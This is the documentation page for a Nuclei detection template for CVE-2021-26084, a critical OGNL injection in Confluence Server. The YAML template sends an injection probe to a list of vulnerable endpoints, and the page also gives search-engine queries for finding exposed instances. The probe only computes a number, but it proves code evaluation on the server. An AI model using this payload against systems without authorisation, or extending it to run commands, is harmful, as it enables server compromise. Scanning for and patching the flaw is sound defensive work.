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Confluence Server - Remote Code Execution

ID: CVE-2021-26084

Severity: critical

Author: dhiyaneshDk,philippedelteil

Tags: cve2021,cve,rce,confluence,injection,ognl,kev,atlassian

Description

Section titled “Description”

Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.

YAML Source

Section titled “YAML Source”
id: CVE-2021-26084


info:
  name: Confluence Server - Remote Code Execution
  author: dhiyaneshDk,philippedelteil
  severity: critical
  description: Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from  version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
  remediation: |
    Apply the latest security patches provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/CONFSERVER-67940
    - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26084
    - https://github.com/Udyz/CVE-2021-26084
    - https://github.com/0xsyr0/OSCP
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-26084
    cwe-id: CWE-917
    epss-score: 0.97447
    epss-percentile: 0.99948
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 13
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
    fofa-query: app="atlassian-confluence"
  tags: cve2021,cve,rce,confluence,injection,ognl,kev,atlassian


http:
  - raw:
      - |
        POST /{{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb


    payloads:
      path:
        - pages/createpage-entervariables.action?SpaceKey=x
        - pages/createpage-entervariables.action
        - confluence/pages/createpage-entervariables.action?SpaceKey=x
        - confluence/pages/createpage-entervariables.action
        - wiki/pages/createpage-entervariables.action?SpaceKey=x
        - wiki/pages/createpage-entervariables.action
        - pages/doenterpagevariables.action
        - pages/createpage.action?spaceKey=myproj
        - pages/templates2/viewpagetemplate.action
        - pages/createpage-entervariables.action
        - template/custom/content-editor
        - templates/editor-preload-container
        - users/user-dark-features


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="aaaa{140592=null}'


      - type: status
        status:
          - 200
# digest: 4a0a0047304502207429bb966ec741043dde5eef3f2cb3720d45b0431190293057d6a0a4d39c3a5e022100f2d4a18dcb91a0e53598be51e9f7dbae4e9053ab2a719b9d14702ae51a7ef375:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26084.yaml"

View on Github